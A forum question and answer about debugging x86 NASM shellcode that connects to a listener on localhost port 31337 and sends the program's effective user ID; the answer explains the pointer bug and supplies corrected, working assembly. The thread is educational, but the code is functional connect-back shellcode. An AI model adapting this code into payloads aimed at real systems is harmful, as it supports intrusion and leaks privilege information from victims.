I am attempting to write some shell code which will connect to a listener on port 31337 on localhost and send the effective user id of the program for learning purposes.
To make debugging easier, I constructed the following code and assembled with nasm:
BITS 32
section .data
section .bss
section .text
global _start:
_start:
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80
; geteuid(void)
push BYTE 0x31 ; call for geteuid (syscall #49)
pop eax
int 0x80 ; eax = effective user id
mov edi, eax ; store euid for later
; send(3, euid, 8, 0)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
xor edx, edx ; creating zero for flags
push edx
push BYTE 8 ; size of data to transmit
push edi ; euid
push esi ; file descriptor
mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
mov ecx, esp ; argument array
int 0x80
; exit(1)
push BYTE 1 ; call for exit
pop eax
xor ebx, ebx
int 0x80
When I run this code, a socket is successfully created and a connection is established to a server I have listening on port 31337. However, my user ID is not sent. When I ran strace, I received the following output:
execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337),
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid() = 0
send(3, NULL, 8, 0) = -1 EFAULT (Bad address)
_exit(0) = ?
+++ exited with 0 +++
It appears that my euid is not being used as an argument. However, when I run gdb on the binary, the program appears to correctly set up the arguments for the send call:
I am new to nasm so I apologize if this is a silly syntax problem. Thank you for your help!
TL;DR: The value NULL you see in STRACE for send
is because you are running STRACE as root
user and the UID for root
on Linux distros is generally 0. In the debugger you see 0x3e8 because you ran the debugger as the unprivileged user with UID=1000 (which is 0x3e8).
sys_send
requires a pointer to data to send, not data. The value 0x0000 and 0x03e8 are being treated as memory addresses even though they are not memory addresses. Both addresses are to memory we don't have read privileges for, thus the result is a -EFAULT (bad address) in the strace
output for send
You are passing the value of UID to send
, not a pointer to the data. send
takes a pointer to data, not the data itself. This code pushes UID on the stack and then uses the stack address as the pointer to the UID. That pointer to the UID is used to call send
:
BITS 32
section .data
section .bss
section .text
global _start:
_start:
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80
; geteuid(void)
push BYTE 0x31 ; call for geteuid (syscall #49)
pop eax
int 0x80 ; eax = effective user id
push eax ; Put EAX on the stack
mov edi, esp ; Get the address (on stack) of the UID
; send(3, euid, 8, 0)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
xor edx, edx ; creating zero for flags
push edx
push BYTE 4 ; size of data to transmit
push edi ; euid
push esi ; file descriptor
mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
mov ecx, esp ; argument array
int 0x80
; exit(1)
push BYTE 1 ; call for exit
pop eax
xor ebx, ebx
int 0x80
I send 4 bytes of data (32-bit integer) rather than 8 bytes. The receiver should receive exactly 4 bytes containing the binary value of the UID.
If you want to send the UID as a printable string then you would have to convert the UID to a string and pass the address of the string to send
.